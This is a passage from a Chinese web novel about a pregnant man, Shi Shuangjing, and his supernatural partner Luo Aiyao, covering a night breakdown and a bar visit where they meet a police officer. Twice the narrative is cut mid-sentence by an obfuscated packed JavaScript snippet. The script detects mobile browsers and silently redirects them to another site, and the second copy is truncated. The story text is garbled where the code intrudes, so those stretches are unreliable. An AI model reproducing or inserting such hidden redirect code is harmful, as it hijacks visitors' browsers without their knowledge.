这太新鲜了!施霜景难得有机会能待在罗爱曜后背这么久。罗爱曜平日里太过拟人,久久来那么一次超凡体验,腾云驾雾一般,施霜景差点在罗爱曜背上睡着,这延绵山路又短又长,仙山海雾在下午时分沉在山间,这一背就好像一辈子……罗爱曜是想取这个谐音吗?施霜景不清楚。两人说话的声音极近地回响,罗同学介绍景点,更有催眠效果,施先生真有那么一截路闭上了眼睛,罗同学不恼,摇摇晃晃,乐在其中。 施霜景醒来,又是一个乌云霭霭的夜。施霜景醒来有些茫然,他好像做了一场回忆的梦,已经经历过一次的事情,再次经历依旧那样快乐。由夏入冬,施霜景怀孕五个月,近期比较困扰的一件事是他太久没有晒过太阳。虽然罗爱曜说,他会在白天将施霜景抱到躺椅上晒太阳,可施霜景没有见到太阳,就感觉好像一切都不作数。 “醒了?要现在就吃东西吗?”罗爱曜打开床头灯,见施霜景坐在床上,微微弓背,若有所思的模样。 施霜景很快回神,说:“我自己去弄就好。你继续睡吧。” “不用。我不需要睡眠。” “罗爱曜,”施霜景叫住他,问出这个问题时不知是神思清明还是神思混沌,“虽然你说你不需要睡眠,但你有时候像是真的会睡着……你到底睡着没有?你要是真的睡着了,不用起床的。我的作息太阴间了。” 罗爱曜回答道:“自从你怀孕,我就没有真正‘睡着’了,我只是看起来闭目养神,其实是在进行脑内和其他形态的工作。” “所以你以前是会睡的,是吗?” “偶尔吧,怎么了?” 至孕中期,施霜景不再犯严重的早孕反应,体内激素也逐渐进入了平缓、均衡的阶段,唯独情绪问题很难控制。施霜景下床,跟罗爱曜一同离开卧室。他抢先一步去厨房,大半夜动刀,说不想吃反复加热的食物了,要吃新鲜的。施霜景给排骨焯水,大半夜地炒糖醋排骨,端上桌,晶莹浓郁的糖色,这道菜做得真好,可施霜景迟迟没有动筷。半晌,他去热了杯牛奶,幸好牛奶是喝光了。施霜景的各种意愿都起起伏伏,吃饭、活动、外出……罗爱曜谨慎问他:“你不吃吗?快凉了。” “你吃吧。我还不饿。”施霜景说。 罗爱曜是不需要吃饭的人,施霜景不吃,他也没必要动筷。可罗爱曜只是动作空闲了那么一分钟,施霜景就发难道:“如果你也不吃,我这道菜不是白做了吗?” 说完,施霜景一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15865566|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怔,罗爱曜重新握筷,要吃排骨,施霜景又眸光一暗。罗爱曜读施霜景的心,施霜景在想,我刚才那副模样好可怕,我到底在气什么? “很好吃,谢谢你。你自己做的排骨,你要不要尝几块?只吃肉、不吃饭也可以。”罗爱曜为施霜景拿了空碗过来,却见到施霜景用筷子拨开排骨上的芝麻。 明明是自己撒的芝麻,吃的时候却厌恶了。施霜景好不容易清空了一块排骨上的芝麻,夹起来吃掉,没滋没味,好像丧失味觉一样。施霜景半机械性地进食,大概吃够量了,停筷。罗爱曜去洗碗,施霜景心里空落落,只剩一股气在横冲直撞。一看窗外的夜色,施霜景忽然很想尖叫,叫破这月亮,他觉得月亮像假的,像充水的气球,叫破了就可以流出日光。 施霜景身上一阵冷一阵热,情绪具现化在躯体上,总是忍不住起鸡皮疙瘩。他去洗澡,怀孕五个月了,肚子还只像是吃饱了,只有微微的凸起。罗爱曜解释过,施霜景大概要顺产玉米,所以玉米不可以长得太大。“不可以”,听上去是罗爱曜行使了他身为佛子的权利与能力,这一切都在罗爱曜的掌控之中。可施霜景仍有一种处于深水区的不安,季节进入冬天,日照时间缩短,施霜景总是在十点到零点这个区间醒来,即便苏醒六个多小时,他还是看不见太阳,至多见到一丝丝天边晨光。夜蛾做久了,真有一种趋光性了,一见到人造的光源就更心酸,他心想为什么罗爱曜能掌控玉米的大小,却掌控不了自己的苏醒时间? 又过三天,依旧如此。彼时罗爱曜正在深夜醒花,在陪施霜景看些深夜节目时,想手上有些事可以做。 屋内忽然传来一阵压抑到极致的大叫,罗爱曜放下手中的花,他的心也空落落的。大叫,尖叫,哭叫,全都压缩进枕头与被褥里。再过一会儿,听见钝钝的、厚重的声响。罗爱曜在等,这分钟进屋会打断施霜景的发泄,也会目睹施霜景失去尊严。 待一切动静都止息了,罗爱曜才进卧室,只见一地狼藉,施霜景将床上所有东西全扫到了地上,倒是没碰床头柜上的各色水杯、花瓶、相框等等。施霜景的眼睛好红,一半是怒意,一半是泪意。施霜景太难受了,所有压抑的情绪都转化为毁坏欲,可到底他也只能砸这些软绵绵的东西。他舍不得砸玻璃,也舍不得让人收拾。事实上,罗爱曜一进屋,施霜景就下意识去捡地上的寝具,好像理智瞬间归位,内疚感又海啸一样遮天蔽日袭来。 “没事、没事的……”施霜景喃喃自语,说给罗爱曜听,也说给自己听。 罗爱曜没吭声,上前拦住施霜景收拾狼藉的双手。 “被子、枕头这些东西砸不坏……放回去就好了。哦,对了,你洁癖,那我们……” “施霜景,施霜景,看着我。” 罗爱曜将声音放得很轻很轻,以免再次刺激施霜景的神经。 “深呼吸,放松,不要压制你的愤怒。如果你需要,我可以去客厅,等你发泄好了,我进来收拾,你什么都不用管。我进来只是为了确认你没有伤到你自己。” “想哭就哭,没关系。玉米这小猫太坏了,不让你看见太阳,我很想教训它,可真是没有办法——这场永夜不会持续太久的,我保证。你在家里发泄掉一部分,然后——我们一小时后出门?不是单纯的散心,我知道散步没办法解决问题。我们出去透透气,我开车。” 施霜景颓丧地坐在踹歪了的床垫上,缓了片刻,立即道:“我们现在就出门。” 177.永夜(中) 明明是严寒冬季,施霜景偏要罗爱曜骑机车带他。这辆机车也已老了,相识那年提的车,如今已是第八年。 施霜景裹了一件短款羽绒服,穿修身牛仔裤与短靴,他将自己打扮得像个会骑车去泡吧的人,没人会想到他肚子里还揣了一个。罗爱曜倒是穿了一件厚实的长款羽绒服,很保暖的样子。两人戴头盔,照例是罗爱曜驾驶、施霜景坐后座揽住他的腰。 出门前,罗爱曜说道:“如果要我骑机车,那我们就不能去太远的地方。我本来还想带你回励光厂转转,但骑机车过去至少需要五十分钟,还是算了。” “暂时先不回去。他们都还不知道我最近的情况。” 施霜景在卧室狠狠发泄了一通,正是不想面对现实的时候。他的心在空烧,于激素与不见阳光的双重刺激下,他只砸这些软趴趴的东西真是一点用都没有,家像个焖烧锅,施霜景要被压透了。出门,只想出门,不想待在家里,不想看见罗爱曜铺了一地的花,罗爱曜为什么半夜要醒花?花都能晒到太阳,施霜景竟然已经超过三十天没有见过阳光了! “我真是怀了只猫,白天不醒,晚上不睡。”施霜景自嘲,“我们出去找点乐子,我今晚当不成三好妈妈了,回来再收拾吧。” 施霜景和罗爱曜确实去了小酒馆。 他们都不是喜欢去夜店的类型,氛围酒吧倒是会去一些,尤其夏天会常去,毕竟夏日燥热睡不着,不如出去转转。施霜景在夏日怀孕,一整个夏秋都放弃了夜生活,今日施霜景提出想去小酒馆,罗爱曜一点都没反对,反而说:“你可以喝些低度数的酒,不能超过十五度。” 天塌下来有罗爱曜顶着,施霜景无比信任。施霜景搂紧罗爱曜的腰,机车呼啸。罗爱曜找了一家汉堡和薯条很好吃的小酒馆,透过酒馆玻璃隐约看见二人倒影,施霜景正在他最潇洒英俊的二十八岁,这样算一算,罗爱曜已经三十七了……好险罗爱曜不是人,容貌不易改。施霜景替罗爱曜拿外套,罗爱曜在羽绒服下竟然只穿了一件宽松长袖打底衫,他又穿施霜景的衣服了。 在卡座和吧台之中选了卡座,施霜景知道这家调酒师太健谈,他们不是第一次来,调酒师八成还记得他们,施霜景脑子还嗡嗡的,好似魂还留在一地狼藉的卧室,他现在没办法应付这些人。二人点好酒水和小食,他们选的位置离酒吧驻唱比较远,让歌声成为一种隐约的氛围。 施霜景微微前倾身体,发着呆。罗爱曜关切地望着他,眼神没有挪走过。 “你怎么早不跟我说,我可以出来喝点小酒?”施霜景发问。 “是最近才可以的,玉米在你肚子里很稳定了,除了它使坏让你见不着太阳之外,别的你都能做。你要想去健身房也没问题,不上非常激烈的运动量就行。” “算了,就算你跟我说了,我也不会天天出来喝酒的……我的肝不好!我就是出来解解闷。”施霜景说着,看见调酒师从吧台出来,亲自给他们送酒。施霜景半掩住脸,还是被调酒师认了出来。调酒师问他们怎么这么久不来,罗爱曜替施霜景回答,说施霜景回乡下养病去了,肝病,所以他今天才点这杯酒精度数连十都没有的调酒。施霜景赶紧出声解释,自己不是回去养病,他只是失业而已——调酒师差点把酒收了回去,别吓调酒师。 罗爱曜说话真真假假掺着说,施霜景现在最怕独自出门遇见同时认识他俩的人,不知道自己的故事是哪个版本。不过幸好罗爱曜一直喜欢和施霜景一同行动,可以用“黏人”这个形容,不论施霜景有没有怀孕。问罗爱曜为什么喜欢黏着施霜景,说是监视有点夸张了,大概是喜欢透过施霜景来与这个世界建立更深的联系,施霜景是最佳的处理器。 酒上了,薯条上了,汉堡上了,风味小食全上了。施霜景边吃边忏悔:“早知道可以出来享受人生,我还至于这么抑郁么……” 罗爱曜非常松弛,像是穿着睡衣就出门了。他拿到了惯常喝的高度数酒,不经意扫视一圈酒馆,在吧台望见某个身影,罗爱曜的蓝眼里闪过一丝狡黠的光,不动声色藏好,继续喝酒。施霜景递了几根薯条过来,罗爱曜张嘴接下,施霜景断断续续和他聊了聊家里那些花。 “我做别的东西,什么造像、修殿、曼荼罗,你都全部看不了,我只能玩玩花展现我的审美,插好的花还能布置家里,也能送人。” “哦,想起来了,你对买衣服、做男模暂时失去兴趣,原来是把审美玩到花上了……”施霜景点点头,一切都对上了。施霜景到底是穷过的人,这些年他经常从罗爱曜的衣柜里找衣服来穿,结果就是施霜景越来越精装,罗爱曜越来越居家——人宅太久真的不行! 怀孕到第五个月,施霜景疏于锻炼,腹部肌肉形状不再明显,倒也不很凸出,只是软乎。罗爱曜喝了一半,说想和施霜景并排坐,施霜景便挪了挪屁股,罗爱曜落座,借着酒馆角落的暗光,悄悄摸施霜景的小肚子,施霜景很为这种偷偷摸摸的行为感到羞赧,罗爱曜都快把他挤进墙里了。 “在家还没摸够么——!”施霜景声音微颤,感觉这人是故意在公众场合这样做。施霜景不想成为那种自己最鄙夷的、不分场合秀恩爱的人!可罗爱曜的动作其实完全就像是在替他按摩肚子,没有任何非分之想……谁会在酒吧替别人按摩肚子啊! 罗爱曜煞有介事道:“玉米说你今天还可以再喝一杯。” “玉米有没有说他爸把它摸醒了,有点烦。” “猫就是白天睡、晚上醒啊,这不能是我摸醒的吧,玉米妈妈。” 两人正进行如此幼稚对话中,那人提着酒杯从吧台过来了。施霜景被挤进角落,一时间没看见,等他看见的时候,那人已经走得近了,施霜景赶紧将罗爱曜的手拍掉,往嘴里塞鸡翅,装作无事发生。 “我以为我看错了……老天,真是好久不见啊,佛子,施霜景!我没记错对不对!” 男人十分自来熟地坐在卡座对面,施霜景虚起眼睛,仔细回想,这人的脸绝对眼熟,说话声音也耳熟,但就是差那戳破记忆泡泡的一下——“谭警官,好久不见。吃点?”罗爱曜戳破了回忆的模糊性,施霜景瞪大眼睛,这真是好久不见的人。 谭鸿信自动自觉捡了篮子里的最后几根椒盐薯条,他抬手叫服务生再上一份,看来是不打算挪窝了。 “瞧瞧,瞧瞧,之前你还是个准备高考的毛头小子!说老实话,我是靠佛子认出你的,佛子没怎么变。你不留以前那种短发啦? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谭鸿信明显已沧桑了,岁月不饶人,他仍在市局刑侦支队,明年大概就要调离一线岗位,升官坐办公室。他说:“最近很邪门很邪门,我们局里好多旧案、沉积案都突然有了线索,就在这几个月里,起码有二十宗案子翻起来,时间跨度最长的快要有二十年了。我们把案子分给下面的单位去分别开展调查,大家的精神状态都很不好,新案子叠加旧案子,大家都超负荷工作。” 罗爱曜说:“这是你们的工作。我没有插手的理由。” 谭鸿信连连点头:“是的,是的。我就是想说,我们最近和其他地区的兄弟单位开会,有个H市的领导给我出主意,让我悄悄找个地方拜一拜,当然,是以个人名义。那个H市领导也挺好笑的,他碰见的邪门事比起我也不遑多让!我心想,我要拜谁呢,我去拜二郎神吗,二郎神管这事吗?你看,今天碰见你们,干脆拜活生生的佛子比较直接!” 罗爱曜推脱道:“不不不,我已金盆洗手。请客吃饭暂时不方便,我和施霜景的作息比较混乱,很难在饭点和你们一聚。你踏实工作,我们踏实生活,不用客气。” 谭鸿信看罗爱曜跟他客气,客气得谭鸿信都要淌汗了。老天爷,能不能申请替换成上一个版本的佛子?谭鸿信觉得现在的佛子是更平和了,但感觉更是藏着坏了,偏偏外表看起来翡翠水头一般玉润,滑不溜的,令人既买不起又供不起。谭鸿信直觉罗爱曜此时此刻出现一定有他的理由!